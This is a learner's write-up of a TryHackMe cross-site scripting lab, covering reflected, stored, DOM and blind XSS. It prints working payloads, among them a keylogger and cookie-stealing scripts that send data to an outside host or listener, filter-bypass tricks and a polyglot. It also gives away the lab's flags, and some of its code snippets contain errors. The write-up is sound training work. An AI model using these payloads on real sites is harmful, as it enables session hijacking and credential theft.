TryHackMe — Intro to Cross-site Scripting (XSS)

Taylor Kepinski
9 min readMay 17, 2024

--

Task 1- Room Brief

XSS is classified as an injection attack where malicious JavaScript is injected into a web application with the intention of being executed by other users. To understand XSS is important to have an understanding of JavaScript and client-server requests and responses. XSS is a very common and usually provides a hefty reward within bug bounties.

Task 2 — XSS Payloads

The payload is the JavaScript code an attacker wishes to be executed on a target computer. Payloads have two parts:
intention — what you want the JavaScript to actually do

Modification — changes to the code we need to make it execute since every scenario is different

Examples of XSS intentions

Proof of Concept — <script>alert(‘XSS’);</script>

The goal with this is to see if we can simply achieve XSS on a website. This is usually done by causing an alert box to pop up on a website. An alert function is usually used in proof of concept

Session Stealing — <script>document.onkeypress = function(e) { fetch(‘https://cats.com/log?key’ + btoa(e.key) );}</script>

This aims to take the targets cookie, base64 encodes the cookie to ensure proper transmission and then posts it to a website the attacker controls. By doing this you can take over a targets session and be logged in as them. Document.cookie is the document property that could contain a user’s session token.

Key Logger — <script>document.onkeypress = function(e) { fetch(‘https://cats.com/log?key=’ btoa(e.key) );}</script>

This allows anything typed on a webpage to be forwarded to an attacker’s website. For example, imagine if you were to type in your username and password or bank credentials into one of these websites.

Business Logic — if JavaScript to change a user’s email looks like user.changeEmail() then <script>user.changeEmail(‘attacker@cats.com’);</script> would be your code

This calls a specific network resource this allows an attacker to change a user’s email which can lead to password reset attacks.

Task 3 — Reflected XSS

This happens when user-supplied data in an HTTP request is included in the webpage source without any validation. For example, you could insert malicious code into the error parameter of a webpage so when the user receives an error message from an invalid login for example the user may click the link associated with that error message resulting in a successful reflected XSS attack. In order to test for reflected XSS you need to test every possible point of entry

Parameters in the URL Query String

URL File Path

HTTP Headers

Task 4 — Stored XSS

This is when the XSS payload is stored on the web application and then gets run when other users visit the site or web page. These payloads are usually stored in a database.

For example, an attacker can insert malicious JavaScript into websites comment section since comments are not filtered for these attacks. The comment will be stored in the website database causing every user to view the article or page the comment is on to have this malicious script be run. This can lead to user’s cookie sessions to be stolen when visiting the attacks website.

Some possible points of entry for Stored XSS are

Comments on a blog

User profile information

Website listings

Task 5 — DOM Based XSS

DOM stands form Document Object Model which is a programming interface for HTML and XML documents. This represents a page so that programs can change the document structure, style, and content. A web page is a document and this document, and this document can either be displayed in the browser window or as the HTML source.

DOM based XSS is where JavaScript execution happens directly in the browser without any new pages being loaded or data submitted to backend code. It gets executed when the website JavaScript code acts on input or user interaction. An example would be when a websites JavaScript gets content from window.location.hash parameter and then writes it on the page being viewed. The hash contents are not checked allowing an attacker to inject code of their choosing. This means likes created by the attacker can be sent directly to the user/victim. Eval() is a good unsafe JavaScript method to look for.

Task 6 — Blind XSS

This is very similar to stored XSS however you will not be able to see the payload working or be able to test it against yourself.

An example would be inserting malicious code into your message to support staff. A support ticket is usually automatically created and stored into a database. These support tickets can be viewed by employees on a private portal. These attacks can make callback to the attacker’s website exposing these staff portal URLs and the Staff members cookies. This could lead to hijacking of the staff’s session. A popular tool for blind XSS attacks would be XSS Hunter Express

Task 7 — Perfecting your payload

The payload is the part of the JavaScript we want to execute on another user’s browser or to check if a vulnerability can occur. This task looks at how different payloads get reflected in the target’s websites code. The goal here is to test different payloads until we find our flag. Let’s start with a basic alert script to see if we can even get XSS. We notice that when we enter our name on the website, we get a popup saying Hello, (Name). if we view the page source, we should be able to insert a script where the name goes to produce a popup. We do this by inserting our JavaScript <script>alert(‘THM’);</script> into the “enter name here” box and submitting it

We can see here that it worked! But no flag lets continue.

As we can see below the next level provides us with an input box after we enter our name. If we look at the code, we can see that our name is now inside the input tag. Our JavaScript won’t properly run inside the input tag, so we need to find a way to close the input tag first. We can do this by applying “> to our previous JavaScript code since we know our code replaces our name in the page source we can apply “> to the beginning of our code to close the parameter so that the input value will now look like <input value=””><script>alert(‘THM’);</script>

It worked!

Level 3 has an HTML tag and we now have a textarea tag in our page source we need to apply the same theory as level 2 in that we need to close the textarea tag but it will be a little different. We need to apply the payload </textarea><script>alert(‘THM’);</script> this important part here is the </textarea> this payload allows us to close the texatarea element and run our code. After running it we see that it worked!

Next is level four upon entering our name and inspecting the page we see this code

It looks like our name is reflected in a JavaScript command and we need to escape it before our code can run. Lets do this by inserting ‘;alert(‘THM’);// into the name field and clicking enter. The ‘ at the start of our payload, the field specifying the name for us. ; ends the current command while the // at the end makes everything following it a comment and not a command by running this payload and pressing enter we see it works!

Onto level 5! It looks the same as level one lets try the same payload as level one which is <script>alert(‘THM’);</script> upon looking at the page source we notice something different.

It looks to me that a filter is in place to remove dangerous words like “script”. This might seem like an issue because we need the word script to run our payload but really all we must do is mess with the logic of the system. We do this by creating a decoy in a way that gets deleted by the filter while the rest of the string will be granted. We can insert the payload <sscriptcript>alert(‘THM’);</sscriptcript> what I have highlighted in red is what the filter will remove. It reads the word “script” and deletes it allowing the rest of the payload to come together and form the word “script” again. The filter, however, does not do another through pass allowing this payload to stick. We can see after inserting it and pressing the enter button it worked!

Level 6 look like we need to escape an attribute again so lets insert the payload we know that helps with that “><script>alert(‘THM’);</script> upon viewing the page source we see this

It looks like a filter is in place to not allow us to escape the IMG tag. We can tell because the filter removed the < and > characters. Since we can’t escape the IMG tag lets try and add some attributes to it to see if we can get the page to load our payload or us. We can try the payload /images/cat.jpg” onload=”alert(‘THM’); the /images/cat.jpg” provides the image source and then closes it while our onload=”alert(‘THM’); should execute our payload using the onload attribute once the image source we provided loads onto the page. Let’s input this payload and hit enter.

We can see it worked! And we got our flag! THM{XSS_MASTER}. Something to keep in mind as well is an XSS polyglot which is a string of text which can escape attributes, tags, and bypass filters all in one and would have executed our payload in any of the six levels above. Here is an example of what one looks like

jaVasCript:/*-/*`/*\`/*’/*”/**/(/* */onerror=alert(‘THM’) )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/ — !>\x3csVg/<sVg/oNloAd=alert(‘THM’)//>\x3e

Task 8 — Practical Example (Blind XSS)

This task looks at the Blind XSS vulnerability and how to recognize it. We first start by visiting our target website and creating an account. Let’s then create a support ticket as it has a text entry field where we may be able to achieve XSS. After creating a support ticket into their system lets inspect the page and see what we are working with

We can see that we are dealing with a textarea tag lets use the same textarea payload we used in our previous task (</textarea><scripts>alert(‘THM’);</script>to see if it works for this customer support ticket page. Since this is Blind XSS we won’t get a popup and will have to take additional steps to see if the XSS worked. We can also assume that an employee will click on this ticket (it’s their job), and we can go a step further to retrieve their cookies and gain access to their session. We can do this by setting up a listening server using Netcat in our terminal. Lets use the following commands

“nc” is netcat, ”-n” is used to avoid resolution of hostnames through DNS, “-l” indicates we want to use netcat in listen mode, “-v” runs netcat in verbose mode, and “-p” is used to specify a port number in this case port 9001. Now that we have our listener lets create our payload. Now we know we want to gain access to cookies and that we are dealing with textarea and we now have a IP and port number to send the information to we can use previous knowledge from past tasks in this section to make a payload

</textarea><script>fetch(‘http://10.10.109.3:9001?cookie=’ + btoa(document.cookie) );</script>

</textarea> — closes the text area field

<script> — opens area to write our JavaScript

Fetch() — makes an HTTP request

‘http://10.10.109.3:9001’ — IP and port number of our listener

?cookie= — query string containing victims’ cookie

btoa() — command base64 encodes victims cookie

document.cookie — accesses the victims cookies

</script> — closes the JavaScript code block

Now let’s create a new ticket using this new payload. (make sure the IP is that of your system).

We can see the listener and our payload worked! Our GET request retrieved the session cookie let’s take that cookie and base64 decode it now

And there we got we retrieved our flag using XSS! 4AB305E55955197693F01D6F8FD2D321

This brings us to the end of the module!

--

--

Taylor Kepinski

My journey through learning cybersecurity and technology. Creating write-ups and study material to reinforce my knowledge www.linkedin.com/in/taylor-kepinski